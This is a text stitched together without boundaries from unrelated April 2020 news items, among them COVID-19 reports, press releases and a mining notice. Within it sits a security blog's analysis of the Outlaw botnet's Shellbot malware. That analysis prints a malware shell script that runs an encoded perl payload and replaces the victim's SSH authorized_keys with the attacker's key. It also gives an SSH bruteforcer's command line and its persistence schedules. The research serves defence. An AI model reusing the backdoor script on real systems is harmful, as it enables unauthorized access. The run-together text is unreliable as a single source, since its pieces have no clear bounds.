the ready-to-eat food to people who have lost their income during the COVID-19 pandemic, such as pedicab drivers and sex workers. We donate the vegetables for humanitarian reasons. We have a bountiful harvest while there are people who need it now, said Widodo, one of the farmers in the Coastal Farmers Association in neighboring regency Kulon Progo. The farmers in the association grow food on 2,600 hectares of land. Since 2005 they have been in a fight to secure their agriculture fields from being turned into a sand mining area by the Yogyakarta provincial administration. Even though they have problems of their own, it did not keep them from getting involved in a solidarity movement. A crisis like this, said Widodo, could be a reminder that people need food more than sand. Rural helps urban M. Taufiq Firdaus, a coordinator of one of the public kitchens organized by Jogja Food Solidarity, said the donations from the farmers were good for hundreds of portions of healthy meals. This has helped us a lot, he said. Some street musicians had also gotten some vegetables from the Kulon Progo farmers. We are grateful for the free vegetables, Gonjes Matopane, one of the street musicians, said. In West Java, a farmer community used local wisdom to pitch in and help the urban poor to get food during the pandemic. About 250 farmers in Kampung Karikil and Kampung Ciharungkat in Sukatani vilage, Garut, West Java, gave their agricultural yields through the Pasundan Farmers Union to help the urban poor who had lost their income during the COVID-19 pandemic in Bandung, the capital of West Java. The two kampungs have so far donated 250 kilograms of potatoes and 55 kg of carrots. We donated this to the urban poor. I can imagine if youre rich, you can buy anything you want. But what about those who have lost their income? So after some talks, we agreed to donate our rice savings to others, Asep Sutiandi, one of the farmers, said on April 16. Other farmers in the Pasundan Farmers Union donated rice, coconuts and bananas to the urban poor in Jakarta on April 9. It is our obligation, as members of the union, to build solidarity and help others regardless of their ethnicity and religion, said Asep. Asep Sutiandi (right) and a fellow farmer, who are members of the Pasundan Farmers Association, pose near potatoes that will be sent to a collective barn as part of the Agrarian Barn Movement organized by the association. The movement has proven useful during the pandemic. (Courtesy of Serikat Petani Pasundan/-) Yani Andriyani, a staff member at the union, said they had organized food donations through the Agrarian Barn Movement, which had proven useful during the pandemic. Asep said the donation system was local wisdom. The most common system is called beras perelek, in which farmers save a cup of rice a week in a bamboo tube placed in front of the house. Usually they would later accumulate all the rice savings from other farmers to help others or buy communal facilities. Sandyawan Sumardi, the coordinator of Jakartans Solidarity House for Humanity, said last week the Banten Farmers Association had sent food for Jakartas low-income residents within the solidarity network. The farmers sent 100 kg of rice and 100 kg of bananas. The solidarity house has so far sent out food to hundreds of people as well as cloth masks. Sandyawan said not all of the hundreds within the network were eligible for government aid. Earlier this month, farmers from the Kendeng mountains in Central Java, an organized farmers group that had fought against cement factories in their region, also helped another organized, underprivileged community, namely the Urban Poor Linkage (JRMK) in Jakarta, by selling their rice for lower than the market price. For the first batch, the farmers sent 9 metric tons of rice straight to Jakarta. The solidarity was reciprocal. Damar Panca from the Confederation of Labor Associations said during a recent webinar that after receiving a ton of rice from farmers, some of the workers sewed cloth masks to be given to the farmers. Reviving traditions Farmers in Jambi have been helping each other out with food. During the COVID-19 pandemic, they have widened their farmer networks and gone back to the old way of bartering food. This is a trying time. We haven't had any help from anyone. So we help each other, Jamilah, a villager in Mundung Darat said last week. The farmers in her village are rice smallholders with no more than 2 hectares per family. Her neighbor, Mustika, said her latest harvest did not yield as much as usual because snails ate some of her rice. But she was not worried about that because the village had long had a system of helping each other. Samsudin, a farmer in a neighboring village in Jambi Tulo village, bartered their vegetables with rice from farmers in a neighboring village. This way, he said, they could weather the crisis. Moreover, the price of vegetables in markets were fluctuating so it was more profitable to barter. Central Java Governor Ganjar Pranowo called on farmers to revive the traditional jimpitan (pitching-in) system, in which all farmers set aside some of their harvest for the whole village, including donating food for poorer villagers or those who have lost their income. Suherdjoko contributed to the story from Semarang WOONSOCKET, R.I., April 27, 2020 /PRNewswire/ -- CVS Health (NYSE: CVS) will join other pharmacy chains and retailers at the White House today to announce the next phase in COVID-19 testing. In addition to the large-scale test sites the company has been operating since March, CVS Health will utilize its expansive community presence to bring testing closer to home while maintaining strict safety standards. "Our industry has been united by the unique role we can play in addressing the pandemic and protecting people's health," said Larry J. Merlo, President and CEO, CVS Health. "We all share the same goal, and that's dramatically increasing the frequency and efficiency of testing so we can slow the spread of the virus and start to responsibly reopen the economy when experts tell us it's safe." Beginning in May, CVS Health will offer self-swab tests to individuals meeting Centers for Disease Control and Prevention criteria. Testing will be scheduled online and take place at select CVS Pharmacy locations in parking lots or at drive-thru windows; no testing will take place in-store. Employees participating in the test collection process will maintain safety using personal protective equipment and follow sanitization protocols after each test. The company expects to have up to 1,000 locations across the country offering this service by the end of May, with the goal of processing up to 1.5 million tests per month subject to availability of supplies and lab capacity. CVS Health's COVID-19 testing strategy is driven by science, but also by the reality that minorities have been disproportionately impacted by the virus. The company has partnered with several organizations, including the National Medical Association, to improve access to testing and necessary care for historically underserved communities. CVS Health is also developing mobile solutions that will allow health care professionals to bring testing capabilities to these communities, and those same services can be utilized for businesses that will begin to re-open in the coming weeks and months. CVS Health currently operates large-scale COVID-19 rapid test sites in five states, which were opened in a matter of weeks through partnerships with the Department of Health and Human Services and governors in Connecticut, Georgia, Massachusetts, Michigan and Rhode Island. Most of the parking lot sites can accommodate up to 1,000 tests per day, and sites are overseen by licensed health care providers from MinuteClinic, the retail medical clinic inside CVS Pharmacy locations, with assistance from CVS pharmacists and other employees. "The selflessness displayed every day by the health care professionals at CVS Health and around the world is inspiring beyond words, and we owe them a debt of gratitude," Merlo continued. "The same is true for frontline workers everywhere who continue to provide essential goods and services when we need them most." More information on steps CVS Health has taken to address the COVID-19 pandemic, including support for health care providers and clinicians facing financial and administrative strain, is available at the company's frequently updated COVID-19 resource center. Contact: T.J. Crawford, [email protected], 212-457-0583 SOURCE CVS Health GRAIL, Inc., a healthcare company whose mission is to detect cancer early, today announced that new data for its investigational multi-cancer early detection blood test will be presented at the American Association for Cancer Research (AACR) Virtual Annual Meeting I. These new data evaluate the performance of GRAILs test in symptomatic participants with suspicion of cancer. Today, the majority of deadly cancers do not have guideline-recommended screening tests available, and as a result, most cancers are detected too late, after they have progressed to late stages when chances of survival are much lower. There is also a high unmet need for early detection in the diagnostic assessment of symptomatic patients who are being evaluated for cancer. GRAILs multi-cancer early detection technology can detect more than 50 cancers, with a very low false positive rate of less than one percent, through a single blood draw. When a cancer signal is detected, the test can also identify where the cancer is located in the body (the tissue of origin) with high accuracy. This technology could be particularly useful in directing a more efficient diagnostic workup in symptomatic patients who are being evaluated for cancer. We continue to make significant progress in the validation of our multi-cancer early detection blood test, and wanted to assess its potential to drive efficiencies in the diagnostic workup of patients who are showing symptoms. These findings show that when our multi-cancer test detected a cancer signal, it also identified where in the body that cancer was located with high accuracy. This is critical information for healthcare providers, and demonstrates the feasibility of our test to potentially accelerate diagnosis in individuals with high suspicion of cancer by helping direct the diagnostic workup. Alex Aravanis, MD and PhD, Chief Scientific Officer, Head of R&D, and a co-founder of GRAIL These new data represent a pre-specified sub-group from GRAILs foundational Circulating Cell-free Genome Atlas (CCGA) study, which included more than 15,000 participants with or without a diagnosis of cancer. In the sub-group analysis reported at AACR, participants being evaluated for suspicion of cancer were classified as clinically confirmed cancer (n=164 in training, n=75 in validation) or clinically confirmed non-cancer (n=49 in training, n=15 in validation). In the confirmed non-cancer group, all training and validation samples were correctly predicted as non-cancer, or 100% specificity. In the validation set, detection across all stages in the confirmed cancer group was 46.7% (n=35/75; 95% confidence interval [CI]: 35.1-58.6%) at 100% specificity. When renal cancers which were overrepresented and subject to poor detection at early stages due to low tumor cfDNA fraction were not included, detection across stages was 59.3% (n=35/59; 95% CI: 45.7-71.9%). In stages II and above, detection was 78.9% (n=30/38; 95% CI: 62.7-90.4%), all at 100% specificity. Performance was consistent across training and validation sets. For cancers where a signal was detected, the tissue of origin (TOO) was predicted in 93.9% (n=62/66) of samples in training, and 100% (n=35/35) in validation. Of those with a TOO result, accuracy was 85.5% (n=53/62; 95% CI: 74.2-93.1%) and 97.1% (n=34/35; 95% CI: 85.1-99.9%), respectively. The data are being presented online by David D. Thiel, MD, Chair, Mayo Clinic Florida Department of Urology. The presentation slides will be available at https://grail.com/publication/aacr-virtual-annual-meeting-i/ after the presentation. AACR presentation details Abstract CT291 Lincoln Nadauld, et al. The PATHFINDER Study: Assessment of the implementation of an investigational multi-cancer early detection test into clinical practice Session VPO.CT07.03 Phase III Trials in Progress: April 27, 2020: 9:00AM-6:00PM EDT Abstract CT021 David D. Thiel, et al. Prediction of cancer and tissue of origin in individuals with suspicion of cancer using a cell-free DNA multi-cancer early detection test Session VCTPL02 Early Detection and ctDNA: April 28, 2020: 1:40PM-1:50PM EDT Madrid: The coronavirus, which is killing people day by day, has increased so much that fear is being seen across the world by its name, whereas thousands of people are going to die due to this virus every day. Not only this, everyone is also getting infected due to this virus, as of now, this virus has killed more than 2 lakh 11 thousand people. This virus has not known how many innocent families and newborns have become victims. It is still difficult to say how long one can get rid of this virus. Scientists claim corona's genetic material found in air 331 people died in Spain in the last 24 hours. Thus far, 23,251 people have died due to the epidemic in the country. The number of dead a day earlier was 288. The number of infected patients has increased by 1831. In this way, the number of infected patients has increased to 229,422. The number of patients recovering has crossed the one lakh mark. Corona outcry in France, number of infected crosses 1 lakh Australia has expressed strong opposition to China's threat of not buying Australian goods. Foreign Minister Marriage Pine said that the demand for investigation of the epidemic is theoretical and reject any statement against it. The first page of the Australian Financial Review newspaper featured an interview of Chinese Ambassador to Australia Cheng Xiang, in which he said that Chinese people can boycott Australian products. Australia had last week demanded an independent investigation of the epidemic from all members of the World Health Organization. Situation become normal in Italy, lockdown may open from this day Foreign Secretary Harsh Vardhan Shringla on Tuesday interacted via video conferencing with the Confederation of Indian Industry (CII) and discussed its engagement in the industry and business-related aspects of G20 and B20. He also discussed how they could actively engage as India assumes the Chair of G20 in 2022. The Business Twenty (B20) is the official G20 dialogue with the business community. The foreign secretary outlined the role of G20 in addressing the COVID-19 crisis and the outcomes of the extraordinary virtual G20 leaders Summit that took place on March 15, 2020, according to an official statement. He said the G20 represents two-thirds of the global population and has agreed upon a plan of action in tackling public health, economic and livelihood impact of the pandemic. The foreign secretary also outlined the government's initiatives in protecting vulnerable sections of the population, providing relief to MSMEs and ensuring adequate liquidity in the system. He also stressed the role of missions and posts abroad in helping Indian exporters look for opportunities in other countries and facilitate diversification of our imports. Shringla highlighted the efforts of the Ministry of External Affairs in facilitating the export of essential medicines and health supplies to friendly countries to enable them to tackle the pandemic. He also conveyed that at the prime minister's initiative, a video conference of leaders of the SAARC countries was organised. During the conference, SAARC COVID-19 Emergency Response Fund was announced under which India has supplied hydroxychloroquine and paracetamol and other medical assistance to the SAARC (South Asian Association for Regional Cooperation) countries, the statement said. The session was attended by CII President Vikram Kirloskar, CII Director General Chandrajit Banerjee and other former CII Presidents, including Venu Srinivasan, Dhruv M Sawhney, Hari S Bhartia, R Seshasayee and Naushad Forbes. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Over 70 cases were registered and 2,770 people detained for allegedly flouting the lockdown orders in Delhi on Tuesday, police said. According to the data shared by police, 72 cases were registered under section 188 (disobedience to order duly promulgated by public servant) of the Indian Penal Code till 5 pm. A total of 2,770 people were detained under section 65 (persons bound to comply with reasonable directions of police officers) of the IPC, it said, adding 192 vehicles were impounded under section 66 of the Delhi Police Act. A total of 397 movement passes were issued during the day, police said. A total of 31 cases were registered against people for stepping out of their houses without wearing face masks, they said. Since March 24 when the nationwide lockdown came into force, a total of 1,25,608 people have been detained for violating the orders under section 65 of the Delhi Police Act. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Outlaw Hacking Group is back, malware researchers from Cybaze-Yoroi ZLab have uncovered a new botnet that is targeting European organizations Introduction During our daily monitoring activities, we intercepted a singular Linux malware trying to penetrate the network of some of our customers. The Linux malware is the well-known Shellbot, it is a crimetool belonging to the arsenal of a threat actor tracked as the Outlaw Hacking Group. The Outlaw Hacking Group was first spotted by TrendMicro in 2018 when the cyber criminal crew targeted automotive and financial industries. The Outlaw Botnet uses brute force and SSH exploit (exploit Shellshock Flaw and Drupalgeddon2 vulnerability) to achieve remote access to the target systems, including server and IoT devices. The first version spotted by TrendMicro includes a DDoS script that could be used by botmaster to set-up DDoS for-hire service offered on the dark web. The main component of this malware implant is a variant of Shellbot, a Monero miner bundled with a Perl-based backdoor, which includes an IRC-based bot and an SSH scanner. Shellbot is known since 2005 and even available on GitHub. Now, Shellbot has re-appeared in the threat landscape in a recent campaign, targeting organizations worldwide with a new IRC server and new Monero pools, so we decided to deepen the analysis. Based on our findings, there are some similarities in both techniques and architectures with another cybercrime group, which appeared in the wild around 2012, most probably Romanian. Technical Analysis As previously mentioned, the infection chain starts with the hack of a Linux server, after a SSH brute-force attack as shown in Fig.1. The Access Logs include requests coming from different source IP addresses with a delay of about 30 seconds from each other. Using this trick, the bruteforce is able to bypass lockout login mechanisms such as Fail2Ban. Once the machine is fully compromised, the attacker will install a complete hacking suite, composed of an IRC bot, an SSH scanner, a bruteforce tool, and an XMRIG crypto-miner. All the malicious logic is opportunely managed by several bash or perl scripts. Figure 1: Shellbot Bruteforcing When the machine is completely infected, the installed files are the following: Figure 2: Directory listing The parent folder is an hidden directory named .rsync, it includes three files and three sub-directories. The initial files are init, init2 and initall. They are three bash scripts aimed at installing the three main components of the infection. The first component that is executed is initall, its body is the following: Figure 3: Content of the initall file The script only has two macro functions, the first one is used to clean the victim machine from some other infections or other processes which could generate some type of collision during the execution. Then, the row 36 shows that the file init2 is printed on the standard output and then executed. Figure 4: Content of the init2 file Fig. 4 shows the content of the init2 script. Also in this case, the script runs three files, init0, a from the folder b, a from the folder c after cleaning pending processes. Then prepares the settings of the persistence using the crontab linux utility. As shown in the configuration of the job, the malware prepares a different configuration of task scheduling according to the module and file to be executed: /a/upd file is run every 23 days (line 28); /b/sync every sunday at 08:05AM (line 29) /b/sync at the reboot (line 30) /c/aptitude every three days (line 31) The a Folder The first folder to analyze is a. This directory contains the crypto mining module named kswapd0. In this folder, the first one to be executed is the file a. The script looks like the following: Figure 5: Content of the a file The purpose of the script is to optimize the mining module by querying the information about the CPU through the reading of the /proc/cpu and when the manufacturer is retrieved the script provides to add some specific registry values depending by the vendor through the Model-Specific Register utility wrmsr. Then that the upd script is executed. The upd script is quite simple, it checks if the process is alive, otherwise the script run is executed. Figure 6: Content of upd on the left and run on the right The executed crypto miner is the file named kswapd0 based on the famous XMRIG monero crypto miner. Following the fingerprint: Hash fd9007df08c1bd2cf47fb97443c4d7360e204f4d8fe48c5d603373b2b2975708 Threat Cryptominer Brief Description XMRIG Cryptominer and SSH backdoor Ssdeep 49152:10cWKu0K8CpxlJWhabW/////////In6C1NdvKODyYGhiDC61N04EXBJDJw5qjURX:+d08xrbW/////////viu6T0lXBJDJwE2 Table 1. Sample information This component has two main functions: Install a cryptoMiner worker: The main purpose of this elf file is the instantiation of a crypto-mining worker. It is a fork of XMRIG project, one of the most popular software to mine monero crypto values. This configuration works, as the original, with a configuration file written in json, named config.json. In the following figure is reported a piece of pseudocode responsible of the loading of the configuration file: Figure 7: Pseudocode of the loaded configuration file In the following figure is reported the configuration file with all monero parameters: Figure 8: Piece of the configuration file with the evidences of user, pass and c2 Install a SSH backdoor: the second component is a routine responsible to set a ssh backdoor through the installation of an ssh fingerprint inside the authorized ssh keys file: Figure 9: Authorized ssh key The b Folder The b folder contains the backdoor logic. It is composed only by three files: a, run, stop. They are three bash scripts, which we start to analyze: Figure 10: Content of the a script file The initial script is the file named a. Its main purpose is to check the current working directory and save the file dir.dir in it, the next step is to launch the stop script to interrupt the execution of pending processes. In the end, it gives the execution permission and then execute the run script: #!/bin/shnohup ./stop>>/dev/null &sleep 5echo ENCODED-BASE64-PAYLOAD | base64 decode | perlcd ~ && rm -rf .ssh && mkdir .ssh && echo ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr>>.ssh/authorized_keys && chmod -R go= ~/.ssh Code Snippet 1 The run script executes another perl script encoded in base64 format. Then, it retries to store the same ssh key seen in Figure 8. Now lets deep inside the perl script. After decoding the base64 wrapper, we obtain another level of obfuscation in perl leveraging the pack() instruction, as shown in the following Figure: Figure 11: Piece of the packed script However it is very easy to decode obtaining the real malicious code: Figure 12: Piece of the ShellBot client It is ShellBot malware, one of the most famous IRC bot for Linux. This ShellBot contains all the communication logic to communicate with the C2 with the IRC protocol. It is interesting to notice that the C2 45.9.148[.#99 uses an unusual port to manage the IRC protocol, the 443, commonly associated with the HTTPS protocol. The channel is #007 and the administrators nicknames from which receive the commands polly and molly. We try to connect it in order to estimate the number of the victims, but unfortunately, the server does not seem to be active at the time of writing. The IRC server is on the same subnet of the other C2s and all belong to Nice IT Service Group a provider from the Netherlands. The C2 deploys an Unreal ircd server (Fig. 13). It is funny to notice the string warez.de inside the demon banner. Warez.de is an historical and famous deutsche community of gaming crackers and hackers. Figure 13: some information about IRC C2 The c Folder Then, the init2 script (in Figure 4), execute c/start, as shown in below Figure. The start scripts execute run renaming it as aptitude in order to go unnoticed among processes list. Figure 14: Content of run script file The run script (shown in Fig. 14 ) performs a first check on CPU architecture and a second one on the number of processors. If the bot is running on a 64 bit system with less than seven processors the go script is executed. On line 17 another control is performed: if the system is 32 bit without the check on the number of processors as in this case. It is not clear why the malware performs these kind of checks. Figure 15: Content of run script The go script performs some preliminary operations before starting the tsm component as shown in Figure 16. The script checks the architecture and, based on this, defines the number of threads. If it is running on arm architecture, the number of threads is set to 75 (as shown in line 9), otherwise the number of threads is set to 515 (as shown by line 5). Figure 16: Content of go script The tsm Module: a Multistage SSH-Bruteforcer At this point, the script starts the tsm module. This module is a sort of network scanner and bruteforcer named Faster Than Lite (Fig. 17). FTL doesnt seem to be an off-the-shelf tool. Probably is a tool sold on criminal dark forum rather then a custom tool made by this Criminal Actor due to the existence of a help menu as shown in Fig. 17. Figure 17: Faster Than Light payload evidence The tsm tool is then executed with the following parameters: timeout 3h ./tsm -t $threads -f 1 -s 12 -S 10 -p 0 -d 1 p ip Lets explain this configuration: timeout 3 h means that the script executes for 3 hours. -f 1 for A.B class /16 scan, -s 12 is the timeout between 2 requests, 12 seconds in this case, probably to overcome some login lock mechanisms. The -S 10 is the second timeout set to 10 seconds, however is not clear the usage of the second timeout. The -p parameterdefines the port to connect to, setting this parameter to 0 means multiport, as also stated by the help. The -d parameter is not present in the help menu, this is an indicator that this tool maybe is under development and is not yet mature (due to the presence of debug information), but works as expected. The definition of p ip means to read ip port file, namely the file which is downloaded by one of the two C2 with encrypted multiple SSH requests as shown by Fig. 18. This is the Stage 1. Figure 18: SSH traffic from C2 Once downloaded the list of IPs, then starts the Stage 2 also named Game Over. In this stage it executes the ssh bruteforce logic using the IP contained in the previously downloaded list. At the time of writing, the downloaded list contains 94.541 different IP addresses belonging to different countries. We sort these unique IPs and after aggregate them by country we are able to plot them on a World Heat Map in order to show the real distribution. The result is Fig. 19. As shown by the Heat Map, the most affected countries are the United States of America with 34998 IP, followed by 8688 from China, 6891 from Germany, 4068 France. The distribution is homogeneous throughout the European continent, Italy has 658 unique IP. Figure 19: Distribution of unique IP addresses present in the downloaded list. We find that the tsm component contains pscan and ssh-scan, respectively a port scanner and a bruteforcer used in past campaigns. Searching for useful information, we found that it has appeared on several honeypots since 2012, the scripts are similar in styles and in techniques implemented. In one of this script there is an email mafia89tm@yahoo.com and some indicators that lead back to a romanian group. Conclusion This Outlaw Botnet is still active and it is targeting organizations worldwide, this time with new monero pools and different C2. The Command and Control IRC server is down at the time of writing, but the two C2 which provide the victim IPs list are still active. This means that, most probably, the gang will deploy a new IRC server leaving the rest of the infrastructure untouched. We suggest to harden and update your SSH server configuring authentication with authorized keys and disabling passwords. Technical details, including IoCs and Yara Rules, are available in the analysis published in the Yoroi blog. Please give me your vote for European Cybersecurity Blogger Awards VOTE FOR YOUR WINNERS https://docs.google.com/forms/d/e/1FAIpQLSe8AkYMfAAwJ4JZzYRm8GfsJCDON8q83C9_wu5u10sNAt_CcA/viewform Pierluigi Paganini (SecurityAffairs Outlaw botnet, hacking) BEIJING, April 27 (Xinhua) -- China launched an online platform Monday to provide convenient and efficient assistance for intellectual property rights (IPR) protection, according to the National Intellectual Property Administration (NIPA). The platform, China Intellectual Property Rights Aid Network, is open to the public through a portal website and WeChat public account. Users can file an application for assistance in safeguarding their intellectual property, choose related departments to handle their cases and search for results. The platform also integrates national resources for assistance in IPR protection, including assistance policies, latest news and typical cases. China has set up 31 IPR protection centers, 20 fast rights-protection centers and 76 IPR aid centers to facilitate assistance for IPR protection, according to Zhang Zhicheng, head of the protection department of the NIPA. Workers manufacture car dash covers at a maquiladora owned by the TECMA group in Ciudad Juarez, Mexico, in 2013. (Ivan Pierre Aguirre / Associated Press) Throughout March, even as business and manufacturing slowed to a halt across much of the world in an effort to contain the new coronavirus, work in foreign-owned factories in northern Mexico carried on as usual. Hundreds of thousands of workers continued to toil side by side in Juarez, Tijuana and other border cities, churning out electronics, medical equipment and auto parts. Meanwhile, the virus was spreading. At a plant owned by Michigan-based Lear Corp. that makes textiles for automobile seats, workers began turning up at the on-site infirmary about a month ago with fevers and coughs. Nurses diagnosed them as having allergies or colds, gave them painkillers and told them to get back to work, according to two employees who spoke on the condition of anonymity because they were not authorized to give interviews. By late March, it became clear that the Juarez factory was the center of a major COVID-19 outbreak. Thirteen employees at the factory have died of the disease, according to Mexican health officials. Among them was 42-year-old Rigoberto Tafoya Maqueda, who moved to Juarez from the mountains of central Mexico as a child and had worked for 20 years at the plant. "They didn't give him anything, not even antibacterial gel," said his niece, Susana Garcia Tafoya. "They told him that he was fine ... so he kept working." Maquiladoras, as the thousands of foreign-owned factories in northern Mexico are known, are not accustomed to extended work stoppages. The factories, which avoid most tariffs because their finished products are for export only, have boomed since the 1994 North American Free Trade Agreement, drawing hundreds of thousands of workers to rapidly industrializing border cities for jobs that typically pay many times less than similar positions in the United States. The pandemic has fed off the drive to keep factories running. Mexico's undersecretary of health, Hugo Lopez-Gatell, warned this week that the devastation from the virus might be acute in the northern border states in part because some factories had continued to operate despite new social distancing guidelines that called for nonessential businesses to suspend work. Story continues Lear shut down the Juarez factory on April 1, while also stopping production at 41 other facilities it operates across Mexico. A statement from the company expressed regret over the deaths of "several" employees but did not address whether protective measures such as the distribution of masks had been implemented or whether sick workers had been sent back to the factory floor. Dozens of other factories along the border continue to operate in direct violation of federal orders. In Juarez, at least 28 factories remain open even though they do not provide essential services, said Chihuahua state Labor Secretary Ana Luisa Herrera Laso. She said 64 factories had closed, and 33 that are considered essential are operating as usual. In the state of Baja California, home to the twin industrial cities of Tijuana and Mexicali, state labor officials have been investigating noncompliant factories daily. State Labor Secretary Sergio Moctezuma Martinez said that last week investigators closed a U.S.-owned factory that had been operating illegally and had chains on its doors to prevent its roughly 800 workers from leaving. A spokeswoman for the company, Georgia-based Cooper Lighting, said in a statement that the chains were a temporary solution because locks on doors to the factory floor were broken. She said the doors were closed during each shift "to ensure the safety of our workers." Baja California is home to a large number of factories that produce medical supplies a business deemed essential by Mexican authorities. Several major suppliers in Tijuana have helped make Mexico the top source of medical equipment to the United States. State authorities have grown increasingly frustrated with those companies, which are selling their products to the United States even as Mexico's public hospitals face a major shortage of surgical masks, gloves and other protective gear. Baja California Gov. Jaime Bonilla warned last week that local doctors are dropping like flies and threatened to shut down a Smiths Medical Inc. factory making ventilator parts unless it figured out how to bypass free trade rules and supply local clinics. The company agreed and says it is in talks with officials in both countries to amend regulations. Bonilla, who belongs to the leftist Morena party founded by President Andres Manuel Lopez Obrador, has been an outspoken critic of factory conditions. The employers dont want to stop earning money," he said at a news conference Friday. "They are basically looking to sacrifice their employees. This is the reality. Seen are workers inside of the MFI International manufacturing plant or maquiladora, Friday, February 3, 2017, in Ciudad Juarez. MFI International produces mattress and home furnishings products. Photo by Ivan Pierre Aguirre for The Washington Post via Getty Images (The Washington Post via Getty Images) Calling on factories to improve sanitation and social distancing measures, he said: We want them to continue working, but we dont want them to sacrifice the health or the lives of their workers. For those plants along the border that have closed in recent weeks, the government's instructions haven't been the only factor. The sinking world economy has dramatically reduced demand for manufactured goods. In some places, the failure of factories to take precautions against the virus has sparked protests from workers demanding that they be sent home or better safety measures put in place. Videos have circulated on social media showing angry workers walking off the job and yelling at managers for not providing protection. Trade groups that represent factory owners say a majority of companies are responding responsibly to new social distancing guidelines and that most workers who have been sent home because factories have closed are receiving partial pay. Mexico has 7,497 confirmed coronavirus cases and 650 deaths, including 138 in states along the northern border. The real numbers are almost certainly much higher, because Mexico has conducted fewer than 50,000 tests, compared with 3.2 million in the U.S. Top health officials have acknowledged there may be more than 56,000 infections. Here and across the globe, governments and businesses are weighing the economic costs of shutting down life as usual against the risk of the coronavirus spreading. That question is particularly consequential in Mexico, where the economy was suffering even before the coronavirus hit. Alfredo Coutino, Latin America director for Moody's Analytics, predicts that Mexico's economy will contract 6.5% in 2020 and the country will enter into a recession "deeper than that during the 2009 financial crisis." Driving the downturn are losses in remittances, a decline in tourism, and significantly for a country whose economy relies on exports for nearly a fifth of its gross domestic product a major contraction of the export market. Nearly 1 in 5 Mexican taxpayers is employed in the maquiladora industry, and cities such as Juarez and Tijuana depend almost entirely on factory jobs, where workers build everything from Whirlpool washing machines to Bombardier jets. There are growing concerns that some factories that are closed now might never reopen. Some worry that widespread unemployment could lead to more crime in border cities that have long struggled with violence. Killings soared in Juarez after nearly one-third of factory jobs were eliminated during the 2008 global recession. Jesus Manuel Salayandia, a factory owner who is the director of a trade group called Canacintra Juarez, said his business is operating at partial capacity because only some of what he produces is considered essential. Those changes, as well as modifications to production lines to put more space between workers, have cost him, he said. He hopes to still be in business after the pandemic has passed, but said that's not guaranteed. "What will happen if all these factories close?" he said. "It could get very dark very quickly. People have to eat." Times staff writer Linthicum reported from Mexico City. San Diego Union-Tribune staff writer Fry reported from Tijuana. Special correspondent Minjares reported from Juarez. Delhi and 14 districts across the country account for over 60% of all Covid-19 cases reported in India, according to data from the federal think tank NITI Aayog, whose chief executive officer Amitabh Kant says diligent monitoring, and aggressive testing, treating and containment are required to check the spread of the disease. Delhi, which has 11 districts, account for 12.62% of all cases in the country as of Monday. Mumbai and Indore feature among the list of the 14 other districts. Our job is to present the nationwide picture, but it is the state governments that have to take strong, ruthless containment measures, more testing, isolation, and treatment in order to bring the number of cases down, Kant said. These are the 15 places that have reported more than 1% of Indias cases and it is here that we have to flatten the curve to win the fight against the virus, said Kant. There are 33 other districts that have reported over 100 cases each so far, he said. Along with the data, NITI Aayog also presented a weekly trend of the number of cases, which shows that most of the states with these 15 high-case burden areas have started showing a decline other than Maharashtra and Delhi. However, it is not enough to show a decline over one week, this has to be consistent for three to four weeks to be a correct indication of a downward trend. This is the reason I have also put up Keralas trends, which has shown week on week constant decline. We must learn from what Kerala did, said Kant. Most of the 15 places referred to by the NITI Aayog are big cities such Mumbai, Delhi, Chennai, Hyderabad, and Ahmedabad. Experts believe this is mainly due to density of the population in these cities and testing bias. These cities account for a big chunk of cases reported from their respective states Mumbai accounts for 33% of cases in Maharashtra; Ahmedabad accounts for 66% of the cases from Gujarat, Indore accounts for 49.5% cases in Madhya Pradesh, and Hyderabad accounts for 55.6% of the cases in Telangana. If you see the bigger cities, the population is dense leading to a faster spread of infectious diseases like Covid-19. Also, when it comes to testing, we have a track record of testing more in the urban areas it was true for H1N1 pandemic, it happens for routine infections like typhoid and even lifestyle diseases like diabetes. Unless the sample has been selected statistically to represent both rural and urban population, we cannot say that the infection is not being reported from rural areas, said Dr T Jacob John, professor emeritus and former head of virology department at Christian Medical College, Vellore. In Delhi too, the district with the highest number of cases are those with a high proportion of slums and resettlement colonies. The analysis by NITI Aayog is wrong in considering Delhi as one whole. It is not that entire Delhi is reporting high number of cases, but certain districts are. And, if you closely look at the districts where this is happening, there are slums and resettlement colonies where maintaining social distancing is not possible, said Dr Jugal Kishore, head of the department of public health at Safdarjung Hospital. Experts say that it is community engagement rather than enforced lockdowns that can help bring down the number of Covid-19 cases. Just locking down a street or a colony when positive cases are reported is not the solution. If people continue meet each other within the containment areas, the number of cases will rise. What we need to do is engage with the community, make them stakeholders, make them responsible for ensuring social distancing and other measures, said Dr Kishore. Dr John cited the example of Kerala, where health authorities were quarantining all those who travelled to the state, whether from abroad or other parts of the country. Maybe the government should have gone into communities like Dharavi in Mumbai and explained about the disease, asked them to start wearing masks a month ago. This would have slowed down transmission in the communities where social distancing might not always be possible. Cities like Ahmedabad where the population density is lower can still implement these measures, but for bigger cities like Delhi and Mumbai, all the government can do is fire-fight now. SHARE THIS ARTICLE ON Brothership Brewing at 18781 S. 90th Ave. in Mokena is getting additional help from another brewer in the Support Each Other cooperative. Unlike the other members in the group, Brothership only served draft beer and lacked the means to offer products for sale in cans, Bisch said. Property adjoins Pure Gold's Red Lake Gold Mine Project where first production is expected in late 2020 VICTORIA, BC / ACCESSWIRE / April 28, 2020 / GoldON Resources Ltd. (TSXV:GLD) ("GoldON" or the "Company") is pleased to report that the exploration drilling permit has been received for the West Madsen gold property (the "Property"). GoldON has the right to earn a 100% interest in the Property through an option agreement with Great Bear Resources (see news release of May 28, 2019 and regional claim map Figure 1). The Company is evaluating drill bids and will finalize the drilling recommendations and budget once all bids are received. GoldON is fully funded to complete the drilling program. The Property is comprised of two contiguous claim blocks (Block "A" and "B"), each roughly six kilometres (km) by three km in size for a total area of 3,860 hectares (see 